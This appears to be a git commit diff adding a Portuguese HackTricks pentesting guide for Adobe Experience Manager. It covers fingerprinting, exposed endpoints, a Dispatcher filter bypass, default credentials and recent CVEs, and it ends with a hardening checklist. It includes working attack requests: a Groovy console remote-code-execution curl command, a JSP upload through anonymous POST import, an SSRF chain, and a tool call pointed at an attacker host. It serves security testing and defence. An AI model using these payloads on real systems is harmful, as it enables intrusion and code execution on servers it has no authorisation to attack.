mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
37a33fe3cd
commit
3dbf612ee1
@ -1,5 +1,117 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
# AEM (Adobe Experience Manager) Pentesting
|
||||||
|
|
||||||
Encontre vulnerabilidades e configurações incorretas com [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
> Adobe Experience Manager (AEM, parte do Adobe Experience Cloud) é um CMS corporativo que roda sobre Apache Sling/Felix (OSGi) e um Repositório de Conteúdo Java (JCR).
|
||||||
|
> Do ponto de vista de um atacante, instâncias do AEM frequentemente expõem endpoints de desenvolvimento perigosos, regras de Dispatcher fracas, credenciais padrão e uma longa lista de CVEs que são corrigidos a cada trimestre.
|
||||||
|
|
||||||
|
A lista de verificação abaixo foca na **superfície de ataque (unauth) acessível externamente** que continua aparecendo em engajamentos reais (2022-2025).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Fingerprinting
|
||||||
|
```
|
||||||
|
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||||
|
X-Content-Type-Options: nosniff
|
||||||
|
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||||
|
X-Vary: Accept-Encoding
|
||||||
|
```
|
||||||
|
Outros indicadores rápidos:
|
||||||
|
* `/etc.clientlibs/` caminho estático presente (retorna JS/CSS).
|
||||||
|
* `/libs/granite/core/content/login.html` página de login com o banner “Adobe Experience Manager”.
|
||||||
|
* `</script><!--/* CQ */-->` comentário na parte inferior do HTML.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Endpoints não autenticados de alto valor
|
||||||
|
|
||||||
|
Caminho | O que você obtém | Notas
|
||||||
|
---- | ------------- | -----
|
||||||
|
`/.json`, `/.1.json` | Nós JCR via **DefaultGetServlet** | Frequentemente bloqueado, mas *Dispatcher bypass* (veja abaixo) funciona.
|
||||||
|
`/bin/querybuilder.json?path=/` | API QueryBuilder | Vazamento da árvore de páginas, caminhos internos, nomes de usuários.
|
||||||
|
`/system/console/status-*`, `/system/console/bundles` | Console OSGi/Felix | 403 por padrão; se exposto e credenciais encontradas ⇒ RCE de upload de pacote.
|
||||||
|
`/crx/packmgr/index.jsp` | Gerenciador de Pacotes | Permite pacotes de conteúdo autenticados → upload de payload JSP.
|
||||||
|
`/etc/groovyconsole/**` | Console Groovy AEM | Se exposto → execução arbitrária de Groovy / Java.
|
||||||
|
`/libs/cq/AuditlogSearchServlet.json` | Logs de auditoria | Divulgação de informações.
|
||||||
|
`/libs/cq/ui/content/dumplibs.html` | Dump de ClientLibs | Vetor XSS.
|
||||||
|
|
||||||
|
### Truque de bypass do Dispatcher
|
||||||
|
A maioria dos sites de produção está atrás do *Dispatcher* (proxy reverso). Suas regras de filtro podem ser contornadas adicionando uma extensão estática permitida **após um ponto e vírgula ou nova linha codificada**:
|
||||||
|
```
|
||||||
|
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||||
|
```
|
||||||
|
Uma única solicitação como a acima frequentemente revela nós de perfil de usuário com endereços de e-mail. A P-T Partners publicou boas orientações sobre essa vulnerabilidade. 【】
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Configurações incorretas comuns (ainda vivas em 2025)
|
||||||
|
|
||||||
|
1. **Servlet POST anônimo** – `POST /.json` com `:operation=import` permite que você crie novos nós JCR. Bloquear `*.json` POST no Dispatcher resolve isso. 【】
|
||||||
|
2. **Perfis de usuário legíveis por todos** – ACL padrão concede `jcr:read` em `/home/users/**/profile/*` para todos.
|
||||||
|
3. **Credenciais padrão** – `admin:admin`, `author:author`, `replication:replication`.
|
||||||
|
4. **WCMDebugFilter** habilitado ⇒ XSS refletido via `?debug=layout` (CVE-2016-7882, ainda encontrado em instalações legadas 6.4).
|
||||||
|
5. **Console Groovy exposto** – execução remota de código ao enviar um script Groovy:
|
||||||
|
```bash
|
||||||
|
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Vulnerabilidades recentes (cadência de pacotes de serviço)
|
||||||
|
|
||||||
|
Trimestre | CVE | Afetado | Impacto
|
||||||
|
------- | --- | -------- | ------
|
||||||
|
Dez 2024 | **CVE-2024-43711** | 6.5.21 e anteriores | Validação de entrada inadequada → **Execução de código arbitrário** (requer autenticação de baixo privilégio). 【】
|
||||||
|
Dez 2024 | CVE-2024-43724/26 | 6.5.21 e anteriores | XSS DOM / Armazenado no Assistente de Mover Página. 【】
|
||||||
|
Dez 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS baseado em DOM via URL manipulada. 【】
|
||||||
|
Dez 2022 | CVE-2022-30683 | ≤ 6.5.13 | Falha de design criptográfico → descriptografia secreta (necessita de credenciais de baixo privilégio). 【】
|
||||||
|
|
||||||
|
Sempre verifique o boletim *APSB* correspondente ao pacote de serviço do cliente e solicite o mais recente **6.5.22** ou *Cloud Service 2024.11*.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Trechos de exploração
|
||||||
|
|
||||||
|
### 5.1 RCE via bypass do dispatcher + upload de JSP
|
||||||
|
Se a gravação anônima for possível:
|
||||||
|
```
|
||||||
|
# 1. Create a node that will become /content/evil.jsp
|
||||||
|
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
:contentType=text/plain
|
||||||
|
jcr:data=<% out.println("pwned"); %>
|
||||||
|
:operation=import
|
||||||
|
```
|
||||||
|
Agora solicite `/content/evil.jsp` – o JSP é executado com o usuário do processo AEM.
|
||||||
|
|
||||||
|
### 5.2 SSRF para RCE (histórico < 6.3)
|
||||||
|
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||||
|
`aem_ssrf2rce.py` do **aem-hacker** automatiza toda a cadeia. 【】
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Ferramentas
|
||||||
|
|
||||||
|
* **aem-hacker** – script de enumeração tipo canivete suíço, suporta bypass de dispatcher, detecção de SSRF, verificações de credenciais padrão e mais.
|
||||||
|
```bash
|
||||||
|
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||||
|
```【】
|
||||||
|
* **Força bruta de conteúdo** – solicita recursivamente `/_jcr_content.(json|html)` para descobrir componentes ocultos.
|
||||||
|
* **osgi-infect** – faça upload de um pacote OSGi malicioso via `/system/console/bundles` se as credenciais estiverem disponíveis.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Lista de verificação de endurecimento (para as recomendações do seu relatório)
|
||||||
|
|
||||||
|
1. Mantenha a instância na **última atualização cumulativa** (a partir de jul 2025: 6.5.22).
|
||||||
|
2. Remova/rotacione contas padrão; imponha SSO/SAML.
|
||||||
|
3. Reforce os **filtros do Dispatcher** – negue `;`, quebras de linha codificadas e `*.json` ou `*.querybuilder.json` para usuários anônimos.
|
||||||
|
4. Desative ou proteja consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) com listas de permissão de IP.
|
||||||
|
5. Aplique o pacote *Endurecimento de Permissão Anônima* enviado pela Adobe.
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
* Adobe Security Bulletin APSB24-69 – “Atualizações de segurança para Adobe Experience Manager (dez 2024)”.
|
||||||
|
* 0ang3el – ferramenta aem-hacker (GitHub).
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user